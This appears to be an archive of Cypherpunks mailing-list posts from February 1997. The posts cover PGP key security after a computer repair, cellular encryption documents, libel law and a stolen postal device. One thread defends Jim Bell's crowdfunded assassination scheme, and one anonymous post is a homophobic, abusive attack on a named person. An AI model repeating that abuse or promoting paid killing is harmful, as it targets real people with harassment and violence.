<199702011855.KAA05989@mail.pacifier.com> At 09:26 PM 1/30/97 -0800, Sean Roach wrote: >At 11:15 AM 1/30/97 -0800, jim bell wrote: >>What you're presented (included in its entirety below) is what I've come to >>call an "AP story problem." I've worked through many of those myself; >>their main problem is that they don't carefully describe why _each_ person >>in the "play" you've described would be motivated to do what it's claim he >>does, and why he DOES NOT do other things to fix the situation he's in. >>Remember, I'm not merely talking about the main character, but also the ones >>who are (apparently?) incidental. >> >>For just one example, you said: "conventional bodyguards could be >>included, ones with no real pay but with the fore knowledgethat they will be >>buried with the tyrant." >> >>What motivates these people? Are they hostages? If they're hostages, then >>presumably that means they're motivated to seek the death of anyone who is >>holding them. What about their relatives; don't they have any sympathy for >>those who are taken? Why don't they donate to AP to see the lead guy dead? > >As I stated in the bottom, the children would be privaledged. Who says? What if the public doesn't agree? Might it not be better to sacrifice a few children to keep other children alive? > They would >merely be told that it is a great honor. It could very well be. Assuming >that the tyrant did not die, these children would live in comparable luxery. How much would this cost? Who would pay? Where would the money come from? Is this "solution" practical for everybody, or just the top guy? >They would be at risk only if the tyrant was. By keeping the children at >hand, the parents would balk at taking action against the tyrant, not only >their own action, but also that of others. The children would merely be >there to thwart the attempts of others. Suppose that didn't work. Who would kill the kids if the tyrant died? Who would risk death himself to do this? Etc. Hint: Unfortunately, you don't seem to be pursuing the implications of what you are hypothesizing. This is typical. Go back and do what I originally suggested: Look at the motivations of EACH person in the "play" and decide why he will play along with the game. This includes not merely the people you want to focus on, but also anyone else. Jim Bell jimbell at pacifier.com From markm at voicenet.com Sat Feb 1 10:55:47 1997 From: markm at voicenet.com (Mark M.) Date: Sat, 1 Feb 1997 10:55:47 -0800 (PST) Subject: Libel & the 1st Amendment Message-ID: <199702011855.KAA23264@toad.com> On Sat, 1 Feb 1997, Peter J. Capelli wrote: > You mean to say, rich people can overcrowd the courts as much as they > like, while others are restricted by contigency-only lawyers ( Call > 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to > control > a poor one with many frivolous lawsuits ... while they can afford to file > lawsuit after lawsuit, the poor person cannot defend himself. What, exactly, would be the point of suing a poor person? Mark From jimbell at pacifier.com Sat Feb 1 10:55:57 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 1 Feb 1997 10:55:57 -0800 (PST) Subject: Fighting the cybercensor Message-ID: <199702011855.KAA23272@toad.com> At 09:40 PM 1/27/97 -0500, Phillip M. Hallam-Baker wrote: > > >jim bell wrote in article <5ch9f2$cuu at life.ai.mit.edu>... > >> Look, I've proposed what I consider to be a remarkably consistent method to >> prevent the kind of political tyranny that you criticize, and I don't see >> any recognition of this fact. > >Thats because its a whacko solution that has no credibility >or consistency. I'm still waiting for you to explain what you believe to be the "problem" for which we are searching a solution. Is the problem that there is slavery? Or do you think the only problem is that the slaves are unhappy? Jim Bell jimbell at pacifier.com From alan at ctrl-alt-del.com Sat Feb 1 11:37:53 1997 From: alan at ctrl-alt-del.com (Alan Olsen) Date: Sat, 1 Feb 1997 11:37:53 -0800 (PST) Subject: Key Security Question Message-ID: <3.0.1.32.19970201113728.02c2b18c@mail.teleport.com> -----BEGIN PGP SIGNED MESSAGE----- At 10:41 AM 1/31/97 -0800, Z.B. wrote: >My computer went into the shop a few days ago, and I was unable to take >my PGP keys off it before it went in. What are the security risks here? >If the repairman chooses to snoop through the files, what would he be >able to do with my key pair? Will I need to revoke the key and make a >new one, or will I be relatively safe since he doesn't have my >passphrase? Depends on how guessable your passphrase is. If you use something that would fall to a dictionary attack, then you are vulnerable. (Providing that they actually looked for your keyring and made a copy.) If you had nyms on your keyring, then those nyms can be associated with your "true name" with no passphrase required. (Unless you keep your keyring encrypted. Private Idaho supports encrypted keyrings, but little else does.) If you are really concerned about it, you could learn to do your own computer repairs. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAwUBMvObZeQCP3v30CeZAQHwCgf+Oks1qT2Hc9pRU4jy+YU/q3WidHVhJmf2 QxjdEFeRPyX3rt+7ThCN4wnGdh7W2Ya8SYGwmgGgU7pucJ9vgC0JACU20RvRgsQk 5USpS3+Ua9QVNs/NpKGDDANlsurPMi9y12rIqrDbmPmcnW7HDfrfByLVy0HvfqKE ctJsOOz391rbjM+HiNXzMUiiWLBelVA9CrsG/UtSd243vymwD/J2dJiq3s0CMPln Tl1rSy1IVsMqNuQ65ALV9qsz6GJtK8Wu1nSk1IwR8Ge2ZSq6VCqkV/hY8+r5KPOM V0XMIblviEc87xmiJ8BMuNNJpOvhGzFZQ1TV9vwdec3pfyeV/HeHjw== =2if1 -----END PGP SIGNATURE----- --- | If you're not part of the solution, You're part of the precipitate. | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | |`finger -l alano at teleport.com` for PGP 2.6.2 key | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From jimbell at pacifier.com Sat Feb 1 11:41:13 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 1 Feb 1997 11:41:13 -0800 (PST) Subject: Fighting the cybercensor Message-ID: <199702011941.LAA24319@toad.com> At 09:26 PM 1/30/97 -0800, Sean Roach wrote: >At 11:15 AM 1/30/97 -0800, jim bell wrote: >>What you're presented (included in its entirety below) is what I've come to >>call an "AP story problem." I've worked through many of those myself; >>their main problem is that they don't carefully describe why _each_ person >>in the "play" you've described would be motivated to do what it's claim he >>does, and why he DOES NOT do other things to fix the situation he's in. >>Remember, I'm not merely talking about the main character, but also the ones >>who are (apparently?) incidental. >> >>For just one example, you said: "conventional bodyguards could be >>included, ones with no real pay but with the fore knowledgethat they will be >>buried with the tyrant." >> >>What motivates these people? Are they hostages? If they're hostages, then >>presumably that means they're motivated to seek the death of anyone who is >>holding them. What about their relatives; don't they have any sympathy for >>those who are taken? Why don't they donate to AP to see the lead guy dead? > >As I stated in the bottom, the children would be privaledged. Who says? What if the public doesn't agree? Might it not be better to sacrifice a few children to keep other children alive? > They would >merely be told that it is a great honor. It could very well be. Assuming >that the tyrant did not die, these children would live in comparable luxery. How much would this cost? Who would pay? Where would the money come from? Is this "solution" practical for everybody, or just the top guy? >They would be at risk only if the tyrant was. By keeping the children at >hand, the parents would balk at taking action against the tyrant, not only >their own action, but also that of others. The children would merely be >there to thwart the attempts of others. Suppose that didn't work. Who would kill the kids if the tyrant died? Who would risk death himself to do this? Etc. Hint: Unfortunately, you don't seem to be pursuing the implications of what you are hypothesizing. This is typical. Go back and do what I originally suggested: Look at the motivations of EACH person in the "play" and decide why he will play along with the game. This includes not merely the people you want to focus on, but also anyone else. Jim Bell jimbell at pacifier.com From alan at ctrl-alt-del.com Sat Feb 1 11:55:55 1997 From: alan at ctrl-alt-del.com (Alan Olsen) Date: Sat, 1 Feb 1997 11:55:55 -0800 (PST) Subject: Key Security Question Message-ID: <199702011955.LAA24678@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 10:41 AM 1/31/97 -0800, Z.B. wrote: >My computer went into the shop a few days ago, and I was unable to take >my PGP keys off it before it went in. What are the security risks here? >If the repairman chooses to snoop through the files, what would he be >able to do with my key pair? Will I need to revoke the key and make a >new one, or will I be relatively safe since he doesn't have my >passphrase? Depends on how guessable your passphrase is. If you use something that would fall to a dictionary attack, then you are vulnerable. (Providing that they actually looked for your keyring and made a copy.) If you had nyms on your keyring, then those nyms can be associated with your "true name" with no passphrase required. (Unless you keep your keyring encrypted. Private Idaho supports encrypted keyrings, but little else does.) If you are really concerned about it, you could learn to do your own computer repairs. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAwUBMvObZeQCP3v30CeZAQHwCgf+Oks1qT2Hc9pRU4jy+YU/q3WidHVhJmf2 QxjdEFeRPyX3rt+7ThCN4wnGdh7W2Ya8SYGwmgGgU7pucJ9vgC0JACU20RvRgsQk 5USpS3+Ua9QVNs/NpKGDDANlsurPMi9y12rIqrDbmPmcnW7HDfrfByLVy0HvfqKE ctJsOOz391rbjM+HiNXzMUiiWLBelVA9CrsG/UtSd243vymwD/J2dJiq3s0CMPln Tl1rSy1IVsMqNuQ65ALV9qsz6GJtK8Wu1nSk1IwR8Ge2ZSq6VCqkV/hY8+r5KPOM V0XMIblviEc87xmiJ8BMuNNJpOvhGzFZQ1TV9vwdec3pfyeV/HeHjw== =2if1 -----END PGP SIGNATURE----- --- | If you're not part of the solution, You're part of the precipitate. | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | |`finger -l alano at teleport.com` for PGP 2.6.2 key | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From stewarts at ix.netcom.com Sat Feb 1 11:57:04 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sat, 1 Feb 1997 11:57:04 -0800 (PST) Subject: "Secret" Postal Device stolen In-Reply-To: <199702011640.IAA20586@toad.com> Message-ID: <3.0.1.32.19970201115431.047a4e50@popd.ix.netcom.com> >>>Postal Service offers $25,000 reward for stolen . . . something I got the impression the author was struggling very hard not to say "I swear I'm not making this up" "But I can't say that - it's Dave Barry's line" :-) At 09:39 AM 2/1/97 -0500, Duncan Frissell wrote: >Mail Storage Box keys? I was also guessing keys - truck keys are a less subtle target than box storage keys, and telling every thug in the country that mail trucks are an easy target, just take the keys from the carrier, seems almost worth sounding really stupid in public to avoid. They did say that it wasn't something they carried in their pockets, but do mail carriers hang their keys on their belts? My wife's guess was that they didn't want to admit they carry Mace or equivalent, though everybody knows it. I also enjoyed the description of one of the weapons as a "steering wheel locking device" "The Club - Police recommend it!" # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Sat Feb 1 12:12:51 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sat, 1 Feb 1997 12:12:51 -0800 (PST) Subject: Key Security Question In-Reply-To: <199702010201.SAA29739@toad.com> Message-ID: <3.0.1.32.19970201121055.047b6520@popd.ix.netcom.com> >> My computer went into the shop a few days ago, and I was unable to take >> my PGP keys off it before it went in. What are the security risks here? >> If the repairman chooses to snoop through the files, what would he be >> able to do with my key pair? Will I need to revoke the key and make a >> new one, or will I be relatively safe since he doesn't have my >> passphrase? Passphrases are MD5-hashed into 128-bit IDEA keys and used to encrypt the secret key; there's a "pgpcrack" program out there that does dictionary-style searches to find if you've got wimpy passphrases. So if your passphrases is "secret", you lose, but if it's "fjhw;doifvjuc-[09efiu v` 2 4rnhc;ljoipcvjpoiewujfgv;loik" you're probably pretty safe, unless that's written on the yellow sticky you left on the side of the PC. On the other hand, if the "repairman" replaced your pgp executable with version 2.6.3kgb, which uses your hashed passphrase as the session key, you're hosed. Or if he installed a keystroke sniffer, or added a small radio transmitter to your keyboard, or whatever. Depends on your threat model. If you need to be paranoid, they've already gotten you.... # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Sat Feb 1 12:40:41 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sat, 1 Feb 1997 12:40:41 -0800 (PST) Subject: "Secret" Postal Device stolen Message-ID: <199702012040.MAA25708@toad.com> >>>Postal Service offers $25,000 reward for stolen . . . something I got the impression the author was struggling very hard not to say "I swear I'm not making this up" "But I can't say that - it's Dave Barry's line" :-) At 09:39 AM 2/1/97 -0500, Duncan Frissell wrote: >Mail Storage Box keys? I was also guessing keys - truck keys are a less subtle target than box storage keys, and telling every thug in the country that mail trucks are an easy target, just take the keys from the carrier, seems almost worth sounding really stupid in public to avoid. They did say that it wasn't something they carried in their pockets, but do mail carriers hang their keys on their belts? My wife's guess was that they didn't want to admit they carry Mace or equivalent, though everybody knows it. I also enjoyed the description of one of the weapons as a "steering wheel locking device" "The Club - Police recommend it!" # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From ericm at lne.com Sat Feb 1 12:49:54 1997 From: ericm at lne.com (Eric Murray) Date: Sat, 1 Feb 1997 12:49:54 -0800 (PST) Subject: Key Security Question In-Reply-To: <199702011955.LAA24678@toad.com> Message-ID: <199702012048.MAA27571@slack.lne.com> Alan Olsen writes: > At 10:41 AM 1/31/97 -0800, Z.B. wrote: > >My computer went into the shop a few days ago, and I was unable to take > >my PGP keys off it before it went in. What are the security risks here? > >If the repairman chooses to snoop through the files, what would he be > >able to do with my key pair? Will I need to revoke the key and make a > >new one, or will I be relatively safe since he doesn't have my > >passphrase? > > Depends on how guessable your passphrase is. If you use something that would > fall to a dictionary attack, then you are vulnerable. (Providing that they > actually looked for your keyring and made a copy.) > > If you had nyms on your keyring, then those nyms can be associated with your > "true name" with no passphrase required. (Unless you keep your keyring > encrypted. Private Idaho supports encrypted keyrings, but little else does.) Other attacks would be installing a keyboard sniffer, replacing your PGP binary with a trojan that records your passphrase, etc. This sort of stuff is quite possible but not likely. Yet. > If you are really concerned about it, you could learn to do your own computer > repairs. Or put your PGP keys on removeable media. -- Eric Murray ericm at lne.com ericm at motorcycle.com http://www.lne.com/ericm PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03 92 E8 AC E6 7E 27 29 AF From stewarts at ix.netcom.com Sat Feb 1 12:55:41 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sat, 1 Feb 1997 12:55:41 -0800 (PST) Subject: Key Security Question Message-ID: <199702012055.MAA26123@toad.com> >> My computer went into the shop a few days ago, and I was unable to take >> my PGP keys off it before it went in. What are the security risks here? >> If the repairman chooses to snoop through the files, what would he be >> able to do with my key pair? Will I need to revoke the key and make a >> new one, or will I be relatively safe since he doesn't have my >> passphrase? Passphrases are MD5-hashed into 128-bit IDEA keys and used to encrypt the secret key; there's a "pgpcrack" program out there that does dictionary-style searches to find if you've got wimpy passphrases. So if your passphrases is "secret", you lose, but if it's "fjhw;doifvjuc-[09efiu v` 2 4rnhc;ljoipcvjpoiewujfgv;loik" you're probably pretty safe, unless that's written on the yellow sticky you left on the side of the PC. On the other hand, if the "repairman" replaced your pgp executable with version 2.6.3kgb, which uses your hashed passphrase as the session key, you're hosed. Or if he installed a keystroke sniffer, or added a small radio transmitter to your keyboard, or whatever. Depends on your threat model. If you need to be paranoid, they've already gotten you.... # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Sat Feb 1 12:56:04 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sat, 1 Feb 1997 12:56:04 -0800 (PST) Subject: PCS Encryption? Message-ID: <199702012056.MAA26132@toad.com> At 04:23 PM 1/31/97 -0800, William Knowles wrote: >.. Primeco digital phone which uses CDMA technology to scramble >the calls and makes passive listening next to impossible. > (Primeco is a PCS phone) >I have been having one helluva a time trying to find more >information on the encryption used with Primeco, I have >spoken to customer service twice & the local rep told me that >the the Chicago FBI asked Primeco to shut off a phone this >week because they can't listen in on what is been said, >To which the the Primceco guys reply, If the feds can't listen >in then I shouldn't be worried. Many low-level phone company people don't know from encryption, and consider just being digital to be enough to satisfy their market's demand for privacy :-( On the other hand, if they're telling the truth that the FBI had somebody's cellphone shut down because they couldn't wiretap it, that's pretty outrageous, and would seem to constitute a "taking". >Excuse me if this posting is a little off topic, But I have >nearly looked everywhere on the WWW to no avail. CDMA is Code Division Multiple Access, a spread-spectrum technology that lets them manage bandwidth efficiently as well as providing a certain level of privacy (assuming they really are using CDMA, as opposed to TDMA). If there is encryption, it's probably the IS-136 stuff. Phil Karn from Qualcomm was on the standards committees when the NSA was arm-twisting them into making sure it's too wimpy to keep out the NSA, and of course the spread-spectrum is a bit less private when you can subpoena the spreading codes... But it really is much better than nothing. Here's a posting from John Young; you'll also want to look at the CAVE material on www.jya.com. ================================================================= Date: Sun, 26 Jan 1997 17:44:49 -0500 From: John Young To: cypherpunks at toad.com Subject: Cellular Encryption Docs Thanks to David Wagner and Steve Schear, we've learned about the latest documents on cellular encryption which supercede the 1992 CAVE document, Appendix A to IS-54, which contained the CAVE algorithm. Here are the latest, followed by ordering information. TIA/EIA/IS-136.1-A -- TDMA Cellular/PCS - Radio Interface - Mobile Station - Base Station Compatibility - Digital Control Panel, October, 1996, 372 pp. $350.00. Addendum No. 1 to IS-136.1-A, November, 1996, 40 pp. Free. TIA/EIA/IS-136.2-A -- TDMA Cellular/PCS - Radio Interface - Mobile Station - Base Station Compatibility - Traffic Channels and FSK Control Channel, October, 1996, 378 pp. $310.00. TIA/EIA-627 -- 800 MHZ Cellular System, TDMA Radio Interface, Dual-Mode Mobile Station - Base Station Compatibility Standard, June, 1996, 258 pp. $120.00. These documents can be ordered from: Global Engineering Documents 15 Inverness Way East Englewood, Colorado 80112 Telephone: 1-800-854-7179 However, each of the documents lists the following related supplements which contain "sensitive information" and may be obtained by US/CA citizens from TIA by signing a Non-Disclosure Agreement and acceptance of export restrictions: Appendix A to IS-136. Appendix A to 627. Common Cryptographic Algorithms. Interface Specification for Common Cryptographic Algorithms. These controlled documents can be requested by calling Ms. Sharon Vargish at 1-703-907-7702, who will fax an NDA, and upon receipt of the completed form, will send the controlled documents at no cost. Here's the NDA: AGREEMENT ON CONTROL AND NONDISCLOSURE OF COMMON CRYPTOGRAPHIC ALGORITHMS REVISION A TO IS-54, IS-95, AND IS-136 [Note: 627 supercedes IS-54; IS-95 is for CDMA] "I, _________________________, an employee/consultant/affiliate (typed name) of __________________________, hereafter, "the company," (Company name) _____________________________ (Company address) _____________________________ and a United States or Canadian citizen, acknowledge and understand that the subject documents, to which I will have access contain information [which] is subject to export control under the International Traffic in Arms Regulations (ITAR) (Title 22, Code of Federal Regulations, Part 120-130). I also understand that the subject documents represent valuable, proprietary and confidential business information of TIA and its members. I hereby certify that this information will be controlled and will only be further disclosed, exported, or transferred according to the terms of the ITAR. ______________________________ _____________________________ Signature Date ______________________________ _____________________________ Printed Name Witness ______________________________ _____________________________ Title Printed Name of Witness [End NDA] ============================================================================ # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From jya at pipeline.com Sat Feb 1 13:16:26 1997 From: jya at pipeline.com (John Young) Date: Sat, 1 Feb 1997 13:16:26 -0800 (PST) Subject: More on Cellular Encryption Docs Message-ID: <1.5.4.32.19970201211055.006e3984@pop.pipeline.com> Here's more on the controlled documents for cellular encryption from TIA/EIA we described in a 26 January post to cpunks: Sharon Vargish of TIA (1-703-907-7702) sent the documents after I signed and returned the NDA: TR45.0.A Common Cryptographic Algorithms, Revision B June 21, 1995, 72 pp. (With ITAR notice on every page) TR45.0.A Interface Specification for Common Cryptographic Algorithms, Revision B, August 6, 1996, 15 pp. (No ITAR notice, but "sensitive information should be protected from general distribution.") TR45 Appendix A to PN-3474 (IS-36) October 16, 1995, 10 pp. (ITAR notice on every page.) TR45 Appendix-A to TIA/EIA 627 December 23, 1996, 7 pp. (No ITAR, but "sensitive"notice) "Common Cryptographic Algorithms" (CCA) supercedes the 1992 CAVE document, but is considerbly longer -- 72 pp. for the latest compared to 25 pp. for the 1992 version. Here're the CCA's TOC and Introduction: Table of Contents 1. Introduction �1.1. Notations � �1.2. Definitions 2. Procedures � �2.1. Authentication Key (A-Key) Procedures � � � � 2.1.1. A-Key Checksum calculation � � � � � 2.1.2. A-Key Verification � �2.2. SSD Generation and Update � � � � 2.2.1. SSD Generation Procedure � � � � � 2.2.2. SSD Update Procedure � �2.3. Authentication Signature Calculation Procedure � �2.4. Encryption Key and VPM Generation Procedure � � � � 2.4.1. CMEA key Generation � � � � � 2.4.2. Voice Privacy Mask Generation � �2.5. CMEA Encryption/Decryption Procedure � �2.6. Wireless Residential Extension Procedures � � � � 2.6.1. WIKEY Generation � � � � � 2.6.2. WIKEY Update Procedure � � � � � 2.6.3. Wireline Interface Authentication Signature Calculation Procedure � � � � � 2.6.4. Wireless Residential Extension Authentication Signature Calculation Procedure � �2.7. Cellular Data Encryption � � � � 2.7.1. Data Encryption Key Generation Procedure � � � � � 2.7.2. Data Encryption Mask Generation Procedure 3. TEST VECTORS � �3.1. CAVE Test Vectors � � � � 3.1.1. Vector 1 � � � � � 3.1.2. Vector 2 � � � � � 3.1.3. Test Program � �3.2. Wireless Residential Extension Test Vectors � � � 3.2.1. Input data � � � � � 3.2.2. Test program � � � � � 3.2.3. Test Program Output � �3.3. Data Encryption Test Vector � � � � 3.3.1. Input data � � � � � 3.3.2. Test Program � � � � � 3.3.3. Test Program Output 1. Introduction This document describes detailed cryptographic procedures for cellular system applications. These procedures are used to perform the security services of mobile station authentication, subscriber message encryption, and encryption key and subscriber voice privacy key generation within cellular equipment. This document is organized as follows: �2 describes the Cellular Authentication, Voice Privacy and Encryption (CAVE) algorithm used for authentication for mobile subscriber equipment and for generation of cryptovariables to be used in other procedures. �2.1 describes the procedure to verify the manual entry of the subscriber authentication key (A-key). �2.2 describes the generation of intermediate subscriber cryptovariablcs, Shared Secret Data (SSD), from the unique and private subscriber A-key. �2.3 describes the procedure to calculate an authentication signature used by cellular base station equipment for verifying the authenticity of a mobile station. �2.4 describes the procedures used for generating cryptographic keys. These keys include the Voice Privacy Mask (VPM) and the Cellular Message Encryption Algorithm (CMEA) key. Thc VPM is used to provide forward link and reverse link voice confidentiality over the air interface. Thc CMEA key is used with the CMEA algorithm for protection of digital data exchanged between the mobile station and the base station. �2.5 describes the Cellular Message Encryption Algorithm (CMEA) used for enciphering and deciphering subscriber data exchanged between the mobile station and the base station. �2.6 describes the procedures for key and authentication signature generation for wireless residential extension applications. �2.7 describes the ORYX algorithm and procedures for key and mask generation for encryption and decryption in cellular data services. �3 provides test data (vectors) that may be employed to verify the correct operation of the cryptographic algorithms described in this document. ... [End CCA Introduction] The related CCA Interface Specification "describes the interfaces to cryptographic procedures for cellular system applications" described in the CCA. Its purpose "is to describe the cryptographic functions without revealing the technical details that are subject to" ITAR. The two Appendices A to IS-136 and 627 "contain requirements for message encryption and voice privacy for cellular systems" supplemental to those described in the main documents, the CCA and the CCA Interface Specs. ----- This note will be put with other CAVE info at: http://jya.com/cave.htm Thanks to TIA/EIA for prompt and courteous reply to our requests. Maybe they welcome help persuading USG/NSA to allow stronger crypto and boost the market for cellular systems. From vznuri at netcom.com Sat Feb 1 13:56:14 1997 From: vznuri at netcom.com (Vladimir Z. Nuri) Date: Sat, 1 Feb 1997 13:56:14 -0800 (PST) Subject: Junger web site In-Reply-To: <199702010347.WAA21877@upaya.multiverse.com> Message-ID: <199702012156.NAA20854@netcom13.netcom.com> PJ sent me his web site which others may be interested in, with pointers to Karn and Bernstein: http://samsara.law.cwru.edu/comp_law/crypto_export/ so, essentially, there are now 3 pretty significant cases challenging ITAR on constitutional grounds, which I find highly encouraging. of course the Bernstein case has already had very positive results so far. From WlkngOwl at unix.asb.com Sat Feb 1 14:42:51 1997 From: WlkngOwl at unix.asb.com (Robert Rothenburg 'Walking-Owl') Date: Sat, 1 Feb 1997 14:42:51 -0800 (PST) Subject: "Secret" Postal Device stolen Message-ID: <199702012305.SAA24688@unix.asb.com> -----BEGIN PGP SIGNED MESSAGE----- On 1 Feb 97 at 9:39, Duncan Frissell wrote: > Mail Storage Box keys? I think they use combination locks, actually. Supposedly it's the same combination nationally too. There was an article in 2600 Magazine about that. The locks are actually 'insecure' and you can test every possible combo in about 10-20 minutes. - --Rob -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMvPFpgTNlSxdPy6ZAQF7QAf+IFPhGavlD7p5WFsmhESHi+PKd9msqYhN pxl8ZdUZMDJg61F6nLF4Oa7rfoCmzDXqP4w0WU1pk8MkkwwVb9oTTJg2k4hY4AKr IixesiAcDlGc9+11314Nao+PuU6epJYmLddGSIc0Ra3FKrqamyueW6qunsJQT1Z6 5E/BiqpEGAiEGqog9J/xXtSra4q9g1SzrMCGcR5z077gCzb5ONxIgWzQ6zlL0leb X1Y9pzABnm1iJbq7Q2HRAVAQVBiPC/vg+hW8COfao4XHGqsqVg2UBcZWT8TdbV4N cwqVw5fDpoZXPyQtzRynmq55xH4OIJWZ2HnNNK3KHdRcyS+JW24MBQ== =oAVd -----END PGP SIGNATURE----- ----- "The word to kill ain't dirty | Robert Rothenburg (WlkngOwl at unix.asb.com) I used it in the last line | http://www.asb.com/usr/wlkngowl/ but use a short word for lovin' | Se habla PGP: Reply with the subject and dad you wind up doin' time." | 'send pgp-key' for my public key. From gbroiles at netbox.com Sat Feb 1 15:04:33 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Sat, 1 Feb 1997 15:04:33 -0800 (PST) Subject: Libel, Times v. Sullivan Message-ID: <3.0.32.19970201144910.0068e100@ricochet.net> Someone (Igor?) suggested I said that libel can't be criminalized. I don't think that's correct, but I may have been unclear. I haven't researched the question and can't call to mind a case directly on point, but my hunch is that states may criminalize libel, but a conviction would require that the state prove, beyond a reasonable doubt (because it's a criminal case), and that the defendant acted with actual malice (because the state is seeking to punish speech, and punitive damages in civil cases require proving actual malice). "Actual malice" means that the defendant said something s/he knew was untrue or recklessly disregarded the truth of what s/he said. (This excludes, for example, an "honest mistake" about what's true.) _Times v. Sullivan_, the case which introduced the actual malice standard, discussed Alabama's criminal libel statute - so the Supreme Court, in the mid 60's, didn't seem to have a problem with criminalizing libel. I can't seem to find a criminal libel statute in California; and if I remember correctly the Oregon Legislature contemplated but did not pass one during its last legislative session. Also, people interested in _Times v. Sullivan_ and the interplay between defamation and the First Amendment might find "Make No Law: The Sullivan Case and the First Amendment" by Anthony Lewis (ISBN 0-697-73939-4) of interest. The decision itself is online at - the factual summary of the Sullivan case posted here was not correct, and the first few pages of the opinion provide a description of the underlying facts. Since we've now got Jim Bell arguing that it's obvious that a free and open society must tolerate anything which might be defamatory, and Jim Choate arguing that it's obvious that a free and open society cannot tolerate anything which might be defamatory, I think I'm going to wander away from this discussion confident that the answer is, at least, nonobvious. :) -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From blancw at cnw.com Sat Feb 1 15:15:24 1997 From: blancw at cnw.com (blanc) Date: Sat, 1 Feb 1997 15:15:24 -0800 (PST) Subject: Cyphernomicon by Tim May Message-ID: <01BC1053.485521C0@king1-06.cnw.com> From: Toto, quoting the Cyphernomicon 3.5.1 Contrary to what people sometimes claim, there is no ruling clique of Cypherpunks. Anybody is free to do nearly anything, just not free to commit others to course of action, or claim to speak for the "Cypherpunks" as a group (and this last point is unenforceable except through reputation and social repercussions). ......................................................................... Toto, I'm surprised at how seriously you take the underlying anarchist philosophy of the list; you identify so closely with it, and have responded to its moderation as though it really would be "the end of freedom", even though you seem to have appeared, or else come out of lurking, only recently. Is this because you value anarchy, or free speech, or the existence of the Cypherpunks as a unique group of stray cats [ :>) ]? Side note: Since Tim isn't on the list and hasn't been for a month, I've been wondering if it had anything to do with the moderation experiment, although it is unlike him to have left without either an argument or at least some kind of statement about it. .. Blanc From shamrock at netcom.com Sat Feb 1 15:31:24 1997 From: shamrock at netcom.com (Lucky Green) Date: Sat, 1 Feb 1997 15:31:24 -0800 (PST) Subject: Crypto in New Zealand - an update Message-ID: <3.0.32.19970201151843.006ec2d0@192.100.81.137> At 06:03 AM 2/2/97, pgut001 at cs.auckland.ac.nz wrote: [...] >The following week Andrew Mayo wrote a letter to the editor of the NBR >containing an eloquent defense of the use of encryption to protect personal >privacy. MFAT replied to say that they were only following orders, and were >required by the Wassenaar agreement to restrict crypto exports: [...] Just for clarification, it is the Wassenaar *arrangement* (somehow the term is more fitting anyway...) and it does *not* require the signatory countries to implement crypto export controls. Not that this will make any difference, since it would be the first time that a government would allow facts to stand in the way of politics. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From nobody at huge.cajones.com Sat Feb 1 15:54:09 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sat, 1 Feb 1997 15:54:09 -0800 (PST) Subject: Degaussing diskettes Message-ID: <199702012354.PAA11855@mailmasher.com> Dr.Dopehead L[ice] Vilus K[rust]OfTheMoment wears satin lingerie embroidered with pink swastikas, prancing around for his faggot, AIDS infected lovers. \|/ @ @ -oOO-(_)-OOo- Dr.Dopehead L[ice] Vilus K[rust]OfTheMoment From smb at research.att.com Sat Feb 1 15:55:53 1997 From: smb at research.att.com (Steven Bellovin) Date: Sat, 1 Feb 1997 15:55:53 -0800 (PST) Subject: PCS Encryption? Message-ID: <199702012355.PAA00552@toad.com> Many low-level phone company people don't know from encryption, and consider just being digital to be enough to satisfy their market's demand for privacy :-( On the other hand, if they're telling the truth that the FBI had somebody's cellphone shut down because they couldn't wiretap it, that's pretty outrageous, and would seem to constitute a "taking". And an illegal wiretap besides, most likely -- with a warrant, they could simply put the tap at the base station. The story may be true, but it doesn't sound quite right to me. I recently got a TDMA phone (a Nokia 2160), which is capable of doing some sort of encryption, though I'm not sure what algorithm. It doesn't always encrypt even when in digital mode (it can handle AMPS, too), but there's a configuration option to tell the user whether or not encryption is in use. From ericm at lne.com Sat Feb 1 15:57:34 1997 From: ericm at lne.com (Eric Murray) Date: Sat, 1 Feb 1997 15:57:34 -0800 (PST) Subject: Key Security Question Message-ID: 